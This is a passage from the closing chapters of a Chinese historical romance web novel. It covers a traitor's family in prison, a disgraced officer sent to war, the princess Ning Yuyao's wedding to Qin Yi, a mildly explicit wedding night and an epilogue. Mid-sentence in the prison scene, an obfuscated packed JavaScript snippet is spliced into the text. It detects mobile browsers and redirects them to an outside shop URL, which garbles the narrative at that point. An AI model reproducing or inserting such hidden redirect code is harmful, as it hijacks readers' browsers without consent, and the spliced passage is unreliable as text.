她们二人虽是在说悄悄话,但一点都没有压低声音,屋内众人将沈瑜的话听得一清二楚,纷纷窃笑出声。 赵知妍不去管她们,夫君温柔体贴,心肠柔软,并不是坏事,况且公主和沈瑜说起此事的时候对夫君并无蔑视,更多的是在打趣她,她没必要为这句话顶撞二人。 她端起丫鬟奉上的茶水轻抿一口。 沈瑜见赵知妍不上套,蹭过来撩拨道:“你就把梁编修一人留在下面,不怕把人丢了?” “怕什么,秦校尉也在,还能不管他不成。”赵知妍放下茶盏,看向宁玉瑶。 宁玉瑶无视众人揶揄的眼神,也不理会沈瑜和赵知妍斗嘴,起身走到王沁婕身边,轻轻抚摸着王沁婕那高高隆起的腹部,“怎么挺着这么大的肚子还出来了。” 此前她已经听小鱼儿提过,沁婕已经有了七个月的身孕。本以为在她生产前难得一见,没想到今日竟能在花灯街见到她,只是此处人多手杂,她现在又身体娇贵,宁玉瑶难免有些担心。 王沁婕见到她脸上掩饰不住的忧虑,拍拍她的手,轻笑道:“在家中闷了许久,婆母见我整日郁郁寡欢,便让我出来与你们小聚片刻。放心吧,稍后我爹和兄长便会亲自前来接我。” 既然如此,宁玉瑶也放下心来,李晏修如今在攻打苍荻,想必李夫人也是担心王沁婕在家中胡思乱想,这才特地让她出来散散心。 屋内众人似是心有灵犀一般,谁也没有提及苍荻之事,只是许久未见的好友们围坐在一起,轻声细语地聊着家长里短。 宁玉瑶静静地看着这些熟悉的面容,尽管她们如今皆已梳起了妇人发髻,可那脸上的笑容依旧明媚灿烂。显然即便婚后,她们的日子也依旧顺遂如意,一如往昔。 不知不觉间,夜色渐深。 众人这才将王沁婕交予王尚书,看着沁婕登上马车,在父兄的悉心护送下渐行渐远,直至马车消失在夜色中,其余人才各自与在旁边厢房等候的夫婿一同归家。 宁玉瑶瞥了眼不远处风度翩翩的孙文炤,对沈瑜悄悄眨了眨眼。 沈瑜见她这般模样,佯装恼怒,作势要抬手打她。 秦熠在旁不由自主地上前一步,旋即意识到自己的失态,又生生地忍住了。 沈瑜注意到秦熠的举动,轻哼一声,继续犯上,在宁玉瑶手臂上狠狠拍了几下,看得孙文炤担心自己未婚妻子哪天会被秦校尉敲闷棍。 宁玉瑶知道沈瑜并未用力,她搂着沈瑜轻笑道:“快回去吧,这些时日你还有得忙,到时候等我给你添妆。” “还笑话我,”沈瑜捏了捏宁玉瑶的脸颊,“你也快了。” “还早呢。”宁玉瑶嘻嘻一笑。 “我看早不了,”沈瑜一脸看好戏的表情,“你就等着吧。” 宁玉瑶自然不信,秦家的聘礼和她的嫁妆还没准备妥当,怎么算都还要一些时日。 她却不知,两家的聘礼和嫁妆已经筹备了一年有余,各类物品早已一应俱全,这些时日不过是在查漏补缺罢了。 翌日清晨,曙光初照,秦家便在一众礼部官员的陪同下,浩浩荡荡地将聘礼送进宫中。 那聘礼队伍绵延不绝,箱笼罗列,皆以红绸装饰,十分喜庆。 与此同时,钦天监测算后,得出三月十八乃是近两年最利明安公主的黄道吉日。 如此,仅有两个月的时间,宁玉瑶便要出阁嫁人了。 “这么快。”宁玉瑶手捧着钦天监送来的批语,反复翻看,批语上写着: “黄道呈祥,诸事顺遂亨通,恶煞远避,吉庆满盈,嫁则情长福厚,福泽绵长,天眷良辰。” 确实是个不可多得的好日子。 可一想到自己即将家人,离开熟悉的家,她心中突然有些慌乱。 祁婧惠见宁玉瑶脸色不对,连忙过来抱住女儿,“瑶儿怎么了?” 宁玉瑶将头埋进祁婧惠怀中,“娘,女儿不想离开您和爹爹。” “孩子话,”祁婧惠瞬间明白了女儿的心思,她轻拍着宁玉瑶的后背,安抚道,“别怕,瑶儿,秦将军府与长公主府仅一巷之隔,你就当是换了个院子居住罢了。 “娘已经同秦家说好了,你嫁过去以后,想住在秦府就住秦府,想回长公主府也随你意。等过些时日,秦将军府还会修一扇门,正对着府里的侧门,如此一来,你往来就更加方便了。” 宁玉瑶依偎在在母亲怀中,听着长辈们的精心安排,长辈们对她的爱护让她渐渐安下心来。 是了,两家隔得如此近,她依旧可以每日回来陪伴爹娘。 当初她之所以辞谢承武帝赏赐的公主府,便是因为若要新建公主府,其选址必定离他们现在所居住的地方甚远。 将来成婚后,不但离爹娘很远,就连秦熠也不能天天前往公主府相伴,让她独自一人守着那么大的府邸,那滋味定不好受。与其如此,她不如就住在这熟悉的地方。 这般细细想来,宁玉瑶的神色渐渐缓和,脸上又重新绽放出开心的笑容,“谢谢娘。” “谢什么,傻孩子,”祁婧惠宠溺地点点她的鼻尖,提醒道,“沈瑜的添妆准备得如何了?” “哎呀,差点忘了,娘,我是来拿库房钥匙的。” 祁婧惠吩咐侍女将库房钥匙递给宁玉瑶,“快去吧。” 宁玉瑶拿着钥匙,兴高采烈地跑远。 祁婧惠失笑摇摇头,将钦天监的批语收起来,忽然想起一事,问道:“世子出去了?” 身旁的侍女回道:“是的,殿下。” 祁婧惠叹了口气,这几日虽未开印,但小朝议时已经对方家的处置下了定论。 方廷峪通敌叛国,私自放苍荻兵入关等数项重罪,证据确凿,无可辩驳,按律当满门抄斩。现今只待衙门开衙,便要正式下旨执行了。 今日宁璟瑞特意求了旨意,去地牢送方敏策一程。 方敏策是个十分优秀的将才,假以时日,必定能在军中独当一面,成就一番大业,可惜…… 那些曾与方敏策有交集之人皆为其扼腕,方家长辈更是在地牢中仍日日痛斥方廷峪,其叛国行径致使家族蒙羞,而他为外室所累,子女非亲生之事也沦为笑柄。 宁璟瑞和秦熠进入地牢时,正听见方夫人在辱骂方廷峪。 “你就是全天下最大笑话,为了个孽种当叛贼,结果孽种是个野种,你以为你在风流快活,其实在被人当猴耍,你死了是你活该!你咎由自取!但你不该害我的儿子!” 方廷峪麻木地瘫坐在冰冷的地上,双眼无神,对周围的一切都置若罔闻,一言不发地承受着方夫人的辱骂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143835|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他身旁不远处的地上躺着一个气息奄奄的女人,正是曾经令他神魂颠倒的外室阮氏。 自从他知道阮娘的两个孩子都并非自己亲生之后,每日都会对阮娘拳脚相向,往昔的柔情蜜意早已消失得无影无踪。 方敏策沉默地站在母亲身后,并不劝阻,只因母亲心中愤懑已至极限,亟需宣泄。 至于父亲,他绝不承认自己有这样一个叛国通敌的父亲。 方夫人的咒骂声不绝于耳。 方敏策敏锐听到牢房外的细碎脚步声。他神色微凛,悄悄扯了扯母亲衣袖。 方夫人瞬间噤声,二人齐齐转头,一同看向牢门。 火光渐渐走近,待看清门外的面容,方敏策微微一愣,随即行礼,“世子,秦都司。” 方敏策久困牢中,并不知道秦熠已经升职,他们也并未纠正,只是勉强笑道:“我们来看看你。” 此话一出,地牢中的聪明人便猜出,处决他们的圣旨就快到了,抑制不住的哭声在地牢中响起。 曾经显赫的方家,就被这么个孽障给毁了,而且是背上如此耻辱的骂名死去,这让他们如何接受。 方敏策神色黯淡,他自出生起就继承了方家的荣光,他从小刻苦习武,学习兵法,潜心研究苍荻的山川地貌,就盼着有朝一日能够驰骋沙场,重现家祖辉煌。 前些年,他始终不解为何父亲阻拦自己投身忠勇军,只道是自身能力尚有不足,未得父亲认可。却万万未曾料到,父亲是在怕自己察觉他在秧州的叛国行径。 这一真相将他二十余载的努力化作一场荒诞的笑话。 秦熠和宁璟瑞相顾无言,不知该如何安慰方敏策,所有言在此刻都显得苍白无力。 三人同为武将,平日关系本就亲近,谁人不知方家与苍荻的血海深仇,方敏策自幼受此熏陶,矢志复仇。 方敏策往日谈起对苍荻用兵之道时,眼中神采飞扬,意气风发。现在却狼狈不堪地成了死囚,何等悲凉。 秦熠沉默良久,从怀中掏出一块玉佩,递给方敏策,“陛下开恩,这块玉佩是方家列祖列宗浴血奋战得来的,让我将它交还给你。” 方敏策忍了许久的眼泪在看见玉佩这一刻,终于忍不住滚滚落下,他正要接过玉佩,地牢外陡然传来一阵匆忙的脚步声。 宁璟瑞所站的位置正对地牢入口,最先看清来人身影,他诧异道:“爹?您怎么来了?” 宁渊没有回答,他面色冷峻,隔着牢门站在方敏策面前,意有所指地问道:“方敏策,大宸还可以信你么?” 方敏策一时未能领会宁渊话中深意,但他心中赤诚,斩钉截铁地回道:“罪臣方敏策,誓死保卫大宸!” “好,”宁渊示意狱卒打开方敏策的牢门,“陛下口谕,方敏策即刻启程前往苍荻,协助李皓将军攻打苍荻。” 此话一出,地牢中原本哭泣的声音瞬间停止,方老夫人和方夫人都殷切地看着方敏策。 方敏策望着洞开的牢门,这才恍然大悟,明白了宁渊先前话语的含义。 他没有丝毫迟疑,当即屈膝跪地,朝着皇城的方向,重重地磕了三个响头,“罪臣方敏策,定不负陛下圣恩,不破苍荻,誓不回还!” 磕罢头,他利落地站起身来,伸手接过秦熠手中那温润的玉佩,紧紧攥在掌心。 他转身面向族中长辈,决绝道:“敏策先走一步。” 说罢,他头也不回地离开了地牢。 在场众人都心中明了,此去苍荻,方敏策恐是再也回不来了。然而于他而言,战死沙场,马革裹尸,或许才是最好的归宿。 方老夫人和方夫人也渐渐平静下来。她们深知,方敏策此去必然会将生死置之度外,奋勇杀敌。 但能以这样壮烈的方式离去,终究好过屈辱地被斩于菜市口。 方敏策走后,地牢中只剩下死寂,方夫人再无心情痛骂那个人渣。 宁璟瑞和秦熠亦不再停留,跟随宁渊一同离开地牢。 “爹,发生何事?”等到出了地牢,周围再无其他人时,宁璟瑞才问道。 “方才李将军送来军情急报,苍荻山林太多,他经验甚少,如今攻打之事陷入僵局,难以推进。” 李皓将军擅水战,面对苍荻复杂的山林地形,诸多战术难以施展,能够坚持至今,已实属不易。 然如今,了解苍荻详情的方廷峪已不可再用,而忠勇军其他将领,即便事先对其叛国之事并不知情,但他们围杀李皓亦是事实,现均被关押,无法出战。 众人一筹莫展之际,宁渊想起了被关在牢中的方敏策,他相信方敏策的为人,方敏策一心报国,才略出众,又对苍荻了若指掌,实乃解此困局的不二人选。 然此提议不出意料地遭到了群臣反对,众人皆顾虑方廷峪的影响,担忧方敏策或有二心。 或许是陛下亦于心不忍,见方家落得如此下场,不愿埋没方敏策这等人才,最终权衡利弊,下旨让方敏策出战苍荻。 “希望方敏策不要辜负陛下对他的信任。”宁渊喃喃道。 129.大婚(正文完) 方敏策出征苍荻的消息一经传开,果然引起了轩然大波,各方舆论顿时汹涌而起,朝堂上亦不乏争论之声。 但待其踏入苍荻境内,便无畏生死地冲锋于战阵最前沿,大宸军势如破竹。 随着国都渐近,兵临城下的那一刻,曾经的种种质疑皆化为乌有。 转瞬两月已逝,边境频传捷报,大宸军的赫赫战功让举国欢腾。而此时,苍荻国内却因兵败陷入混乱,不久,苍荻王驾崩的消息传来。 福泽未尽,皇城之内亦有佳音,最大的喜讯便是承武帝恢复康健,毒草对他所造成的伤害终得痊愈,笼罩在雁京上方的阴云彻底消散。 就在这一连串的喜讯中,宁玉瑶的婚期将近。 还有三日便是大婚之日,经尚衣局反复修改的嫁衣被送至长公主府,呈于宁玉瑶身前,待她再度试穿,若合身无虞,便将收入德清宫为大婚之用。 这些时日祁婧惠忙碌万分,今日她本欲抽空来检视女儿的嫁衣,但宁玉瑶心疼母亲操劳,便提出由小鱼儿她们这些闺中密友代劳。 她们如今都已成了当家主母,祁婧惠亦对她们的贤名有所耳闻,便放心应允。 今日除王沁婕因新产尚在月子之中,行动不便未能前来,其余好友皆欣然赴约。 已为人妇的沈瑜与赵知妍一如既往地拌嘴嬉闹,引得其余女子在旁掩口轻笑。 待宁玉瑶换上嫁衣,从屏风后款步出来,屋内众人瞬间惊艳失语。 宁玉瑶身着一袭大红嫁衣,裙身以稀世紫宸锦织就,裙摆宽阔,曳地数尺,其上繁花盛景层层叠绣,精妙绝伦。腰间束一宽幅丝带,中央镶嵌一颗硕大祖母绿宝石,周遭细碎宝石环绕,仿若众星拱月。背后长披帛垂落,随风轻舞。 沈瑜快步走到宁玉瑶身边,绕着她走了一圈,口中不住赞叹:“真好看。” 也不知道她是赞人还是赞衣服,宁玉瑶嗔怪地轻轻在她手上拍了一下。 她望向侍女搬来的等身铜镜,纵使穿惯了华贵锦衣,此时镜中的自己也让她觉得有些陌生。 尚衣局嬷嬷满脸堆笑,殷勤问道:“殿下,这身嫁衣穿着可还舒适?有无需改动之处?” 宁玉瑶往前试走两步,未觉丝毫不妥,便转头问屋内的好友们:“你们看如何?” 众人围拢上前,绕着宁玉瑶仔细看了一圈,纷纷点头:“此衣与殿下相得益彰,无需再改。” …… 长公主府内正为试穿婚服忙得不可开交,秦将军府亦是一片繁忙景象,府中里里外外皆已披红挂彩,就连马厩上也贴上了斗大的喜字。 “都快成婚了,怎还这般愁眉苦脸?”江思明拄着拐杖路过马厩,瞧见正在安抚黑马的秦熠,不禁出言问道。 自承武帝病体痊愈,便无需江思明日夜在宫中侍奉。江思明又厌烦陆广维在跟前碍事,秦熠便将江思明接到秦府悉心照料,如此还可就近为诚国公诊治。 “我本想骑这匹马去接亲,可我娘不许。”秦熠轻抚着月影的头。 江思明走进马厩,细细打量那匹马,由衷赞道:“确是好马!令堂为何不应允?” “这匹马曾是明安的爱马,三年前却无故失控,致使明安坠马,事后也未查明缘由,我爹娘担心迎亲时再度上演。”秦熠解释道,“但明安极喜爱月影,若能骑它迎亲,明安定会欢喜。” 江思明闻得此言,掰开月影眼皮仔细查看,又向秦熠询问当时月影的状况,沉思片刻后说道:“无妨,苍荻有几种草药可使马暂时丧失理智,如今早已无碍。” 江思明虽非马医,但在小谷村居住多年,对牲畜之事也略通一二。 听闻是苍荻草药作祟,秦熠并不觉意外,毕竟如今林鸿轩已死,苍荻也不足为惧,他便将此事抛诸脑后。 既得江老断言月影不会有事,他思量着该如何说服双亲,让自己能骑着月影去迎亲,旋即兴奋地跃出马厩。 江思明望着他那欢腾雀跃的背影,不禁摇头失笑,都快成亲了,还是这般孩子气,一点也不稳重。 喜马的事情解决,三天时间一晃而过,转眼便到了三月十八。 一大早,德清宫就忙碌起来。 宁玉瑶前一日就住进德清宫。 此刻的德清宫大红灯笼高挂,贴上了朱红色的“喜”字,宫中侍从皆身着鲜艳红裳,笑意盈盈地穿梭其中,整个宫中一片喜气洋洋。 宁玉瑶带着几分惺忪睡意,双眸朦胧地坐在铜镜前,本来还她瞌睡得直点头,不经意一撇,看清铜镜中拿着梳子站在她身后为自己梳头的祁婧惠,顿时激动地转过头唤道:“娘!” 祁婧惠连忙按住她得肩头,柔声道:“小心别扯着头发。” “您怎么在这里。”宁玉瑶乖巧端坐,目不转睛地凝视着铜镜中母亲的身影。 大宸礼制,公主出阁,梳头理鬓之事向来由专门的梳头嬷嬷执掌,而如今,竟能如寻常民间女子般,由自己的娘亲为自己梳妆,宁玉瑶自然惊喜万分。 “女儿大婚,当娘的怎么能不能来。”祁婧惠手中的梳子轻柔地穿梭于宁玉瑶的青丝之间,那一头如墨秀发被她一点一点盘起,直至盘成精致的喜髻于头顶。 为了能亲手为女儿梳头,她不惜与礼部据理力争,那架势几乎要将礼部掀个底朝天,才迫使他们更改了公主大婚的规矩。她又特地与梳头嬷嬷学了许久,才学会如何替女儿梳妆。 宁玉瑶闭着眼睛让母亲在自己脸上施妆,母亲温柔的气息让她惶惶不安的心稍稍安稳下来。 “好了,瑶儿睁开眼看看。” 宁玉瑶依言睁开双眸,看着镜中与平日完全不同的自己,真切意识到自己即将嫁人,不由得有些紧张起来。 祁婧惠亦感慨地凝视着面前梳着喜髻的女儿,心中思绪万千,但也只能忍着泪意,轻声道:“快去换上喜服。” 此时,外头传来了催妆侍从的声音。 宁玉瑶连忙换上那身大红喜服,随后戴上了内务府匠心打造的凤冠。纯金铸就的凤冠,凤凰造型巧夺天工,每一片羽翼都在轻轻颤动,似要展翅高飞。 待她穿戴完毕,外头已经催妆三次。 祁婧惠从侍女手中接过瓷碗,碗中盛着三颗圆润饱满的汤圆,“瑶儿,吃了汤圆,愿你往后甜蜜圆满,恩爱百年。” 宁玉瑶轻咬母亲喂来的香甜汤圆,听着母亲的祝福,眼中忍不住泛起泪意。 祁婧惠连忙放下手中的瓷碗,伸手为女儿拭去眼角泪花,轻声哄道:“瑶儿别哭,大喜的日子不能哭。” 宁玉瑶强忍下泪水,对着母亲露出一抹明媚灿烂的笑容,轻声道:“谢谢娘亲,娘亲这些年辛苦了。” “傻孩子,娘亲从未觉得辛苦。” 此时,屋外鞭炮齐鸣,噼里啪啦的声响打断了屋内的 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承武帝颔首,示意宁玉瑶起身,“瑶儿,日后若是受了委屈,一定要告诉朕。” 宁玉瑶用力点头,极力克制着即将夺眶而出的泪水,用手中的喜扇覆住面部,跟随礼部官员的引领走出乾元殿。 刚迈出乾元殿的殿门,便瞧见祁晖珏伫立在门口。十四岁的少年郎身姿挺拔,已经比宁玉瑶高出半个头。 “阿姐,珏儿送你出嫁。”说着,他背过身蹲在宁玉瑶身前。 宁玉瑶看着祁晖珏不算宽厚的脊背,在宫女们的搀扶下,俯身伏在祁晖珏背上。 小少年顿感背上一沉,缓缓站起身来,背着她朝着宫外走去。 祁晖珏稳步向前,侧头压低声音叮嘱:“阿姐不要怕,往后若是秦熠那小子敢对你有半分不敬,你只管告诉珏儿,珏儿定会替你好好教训他……” 宁玉瑶听着弟弟对自己的嘱咐,再也忍不住,一滴温热的泪珠悄然从眼角滑落,掉进祁晖珏的衣领中,洇湿了一小片衣衫。 祁晖珏连忙噤声,生怕这大喜的日子惹哭阿姐。 待他们走出宫门,当众人看清是背着宁玉瑶的太子时,皆不禁面露惊色。 片刻后,便心领神会,太子此举,无疑是向众人宣告,他便是明安公主的娘家兄弟,往后若有谁敢对明安公主有丝毫冒犯,他必将为公主出头撑腰。 牵着月影站在喜轿子旁的秦熠,自然也领会到了太子此举背后的深意,但他心中无半分畏惧。 他对玉瑶一片真心,天地可鉴,他心悦玉瑶,又怎会让玉瑶受半点委屈? 他抱着大雁,来到背着宁玉瑶的祁晖珏身前,先朝着天空与大地的分别作揖,以表对天地神明的敬畏。 随后他蹲下身,将大雁缓缓放置地上,那大雁似乎也通灵性,安静地待在那里。这一放雁,象征着秦熠从此将对宁玉瑶不离不弃,如同大雁的忠贞。 接着,秦熠再次起身,整理衣冠,向祁晖珏恭敬行礼,接过宁玉瑶,扶她上喜轿。 宁玉瑶端坐在喜轿中,看秦熠骑着月影围着喜轿绕了三圈。 看着外面神情紧张的秦熠,及亲昵地蹭着轿帘的月影,宁玉瑶的心彻底安定下来。 她透过轿帘,对绕圈完毕正等候起轿的秦熠嫣然一笑。 今日结缡定情,愿同君白首与共。 130.番外[番外] 繁杂的婚仪总算全部结束,宁玉瑶坐在喜床上撑着沉重的凤冠松了一口气。 青黛青筱连忙上前来帮她托着凤冠,轻声安抚:“殿下您再忍忍,等合卺礼后就能取下来了。” 宁玉瑶也知道轻重,并无怨言,心中暗自庆幸打造凤冠时,熠哥哥本想让工匠将祈月珠镶在凤冠上,还好秦夫人和娘亲将他打了出去,否则,这一日跪叩下来,她的脖子要遭大罪了。 只是,她今日仅晨间用了三颗汤圆,此刻天色渐晚,早已饥肠辘辘。 她转身从床上摸出几颗花生桂圆,捏开外壳便往嘴里塞。一旁的教养嬷嬷刚欲阻拦,却被青黛挡了一下,没能成功制止,她便只好睁一只眼闭一只眼,当做没看见。 吃罢手上的干果,宁玉瑶却越发觉得饥饿,转身爬到喜床上,还想再寻些吃的,恰在此时,婚房的门被推开。 她扭头与站在门外的秦熠面面相觑。 秦熠急忙关上房门,隔绝外界的视线,快步走进屋内。 秦府侍女与嬷嬷们屈膝行礼:“见过驸马。” 秦熠随意摆摆手,没理会她们,将床上趴着的宁玉瑶扶着坐好,然后从怀里掏出一个油纸包递给她,献宝般道:“玉瑶,是不是饿坏了?我刚从厨房偷了些吃的,快趁热吃吧。” 秦府侍女们忍不住偷笑,在自家偷吃食,这种事恐怕也只有自家少爷能做得出来。 教养嬷嬷见宁玉瑶当真打开纸包,拿出里面的烧鸡腿就啃,刚要上前劝阻,一直背对着她的秦熠忽然转过头,淡淡地瞥了她一眼。 这轻描淡写的一瞥,却将教养嬷嬷震在原地,秦熠通身从尸山血海中杀出来的煞气,又岂是深宫中的奴婢能够经受得住的。 教养嬷嬷顿时低下头,不敢再有任何举动。 宁玉瑶察觉到屋内异常的安静,不禁抬起头,疑惑问道:“熠哥哥,怎么了?” “没事。”秦熠迅速转过头来,脸上又恢复了那副惯常的笑容,伸手接过青黛递来的手帕,轻轻擦去宁玉瑶嘴角的油渍,凑近她耳边低语:“多吃点,今晚还有得忙呢。” 宁玉瑶立刻明白了他话中的暗示,脸上泛起红晕,嗔怪地踹了他一脚,随后往旁边挪了挪,试图与他拉开距离。 可无论她挪到何处,秦熠都如影随形,明明是极为宽大的拔步床,他们二人却硬是挤在一个角落里。 青黛见此情景,忍不住轻声提醒:“驸马,别耽误了吉时。” 合卺礼才是大事,秦熠不敢再闹,老老实实地移开些许位置,让宁玉瑶能安心吃东西。 等宁玉瑶吃完秦熠带来的烧鸡腿和点心,屋外的玉磬发出清脆的声音。 青黛急忙上前为宁玉瑶净手净面。一切收拾停当后,青黛端来一个漆盘,盘中放置着两只由同一匏瓜剖成两半的瓢,瓢内盛着澄澈清亮的酒水。 “殿下,驸马,吉时已至,礼行合卺。”喜婆满脸喜色,高声唱喏。 宁玉瑶与秦熠分别拿起一个卺瓢。 喜婆接着吟唱:“合卺而醑,此后相濡以沫,福祸共当,恩爱绵长,共赴白头。” 伴随着喜婆的唱辞,宁玉瑶与秦熠一同将卺瓢中的酒水饮尽。 “礼成!” 秦熠接过宁玉瑶手中的卺瓢,放入漆盘,转头凝视着正由丫鬟们拆卸凤冠的宁玉瑶。他的目光专注炽热,眼睛一眨不眨,眉眼间满是化不开的温柔缱绻。 丫鬟们心领神会,手上动作加快。不多时,凤冠便被顺利拆下,她们悄然退出喜房,轻轻关上房门。 屋内只剩他们二人,宁玉瑶被秦熠炽热的目光紧紧锁住,她双颊似火在烧,不知是那合卺酒的酒意涌上心头,还是满室红绸映红了她的容颜。 秦熠倾身向前,将她轻柔地揽入怀中,嘴唇轻轻印在她发顶,他心满意足地发出一声喟叹:“玉瑶,我终于将你娶回家了。” 宁玉瑶微微仰头,靠在他宽厚的肩上,双臂轻轻环住他那结实有力的脊背,“熠哥哥,我也很高兴。” 秦熠左臂收紧,将她紧紧拥入怀中,右手抬起她的下巴,在她柔软的唇瓣上轻轻印下一个吻。 宁玉瑶抬眸,看见自己在秦熠瞳孔中的模样,她慌乱地闭上了双眸,心跳如鼓擂。 下一瞬,秦熠灼热的唇再度覆了上来,这一次,多了几分急切。 亲吻间隙,她的大红嫁衣一件件悄然落在地上。 秦熠着迷地看着眼前的宁玉瑶,她那白皙的肌肤因害羞而泛起迷人的绯红,他似被蛊惑一般,一寸一寸地沿着她的脖颈缓缓往下亲吻。 很快,他便满意地听到了妻子压抑不住的情动轻哼声。 “玉瑶,看着我。”秦熠双臂撑在宁玉瑶上方,温柔中带着不容拒绝的哄诱。 宁玉瑶羞怯难抑,却仍强忍着睁开双眼,恰好看见秦熠额头细密的汗珠滚落,不偏不倚地滴落在她的唇边。她下意识伸出舌头将唇边的汗珠轻轻舔掉,那模样,纯真中带着不经意的妩媚。 秦熠瞧见她的举动,眼神一黯。他腰部猛地用力,顺势低下头叼住宁玉瑶的双唇,将她的痛呼声严严实实地封在彼此口中。 红烛摇曳,光影在墙上交织出二人缠绵纠缠的身影。 宁玉瑶如一叶扁舟,随着风浪起起伏伏,终是不堪承受,不住地低声求饶。直至红烛燃尽,最后一缕青烟袅袅散去,她望向窗外,天色已泛起鱼肚白。 她迷迷糊糊地想着,还好大宸的公主不需要行奉茶礼。 秦熠尚公主的第二天,天刚蒙蒙亮,便被明安公主毫不留情地赶出了卧房。 秦老夫人和秦夫人得知此事,也只是冷笑:“活该!” * 秦熠成亲一个月后,秦秀灵犹豫再三,还是决定向家中长辈辞行,返回定州。 花厅内,秦老夫人叹了口气,轻抚着跪在腿边的秦秀灵的发顶,“祖母知道你在雁京不快活,你想回定州,那便去吧。” 秦秀灵尽管明白家中长辈一向通情达理,不会阻止自己,可在这一刻,泪水还是忍不住夺眶而出,她重重地朝着秦老夫人磕了一个响头,哽咽道:“祖母,孙儿不孝。” “孩子长大了,总是要离开家的,只要你平安就好。”秦老夫人扶起秦秀灵,将 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而被婆家拘着坐了双月子的王沁婕也终于被放了出来与她们小聚。 正闲聊着,酒楼外传来一阵呼喝声。 宁玉瑶打开窗户向外张望,楼下一列穿着囚服的老弱妇孺从门前经过。 几人瞬间明白是怎么回事。 前几日,苍狄传来捷报,大宸的军队已经成功攻占了苍狄的国都。方敏策在击杀苍狄新王时,与新王同归于尽。 承武帝得知消息后,感念方敏策立下的赫赫战功,下令将方廷峪斩首示众,其余的方家人则全部流放到茕岛,永世不得踏入大宸的地界。 而今日,正是方家人被流放的日子。看到人群里曾经有过交集的方夫人,众人不由面露不忍。 但她们余光瞥见在一旁漠然饮茶的王沁婕,立即收起脸上的表情,将窗户关上,不再去看外面的囚犯。 想来也是,当初方廷峪带兵围困李家父子,砍掉了王沁婕公公的一条手臂,她的丈夫也受了重伤。若不是长公主殿下救援及时,恐怕王沁婕不到二十岁就要成了未亡人。 她对方家人自然恨之入骨,如今没有落井下石,已经算是很有涵养了。 大家心照不宣地略过这个小插曲,宁玉瑶问王沁婕:“孩子快要洗三了,李郎将能赶回来吗?” 提到孩子,王沁婕脸上的笑容真切了几分,眼中尽是温柔:“夫君送了信回来,他正快马加鞭往回赶,应该可以在下月前赶到。” “那便好,总算是苦尽甘来了。”宁玉瑶握着王沁婕的手,同样是嫁给武将,这种牵肠挂肚的滋味,她最能感同身受。 王沁婕回握宁玉瑶,笑道:“往后便不会再这般艰难了。” 宁玉瑶闻言也笑了,不会再有了,北穆已分崩离析,不足为惧,苍狄彻底灭国,成了大宸属地,再也没有人可以威胁到大宸。 前世种种都如过眼云烟,彻底烟消云散了。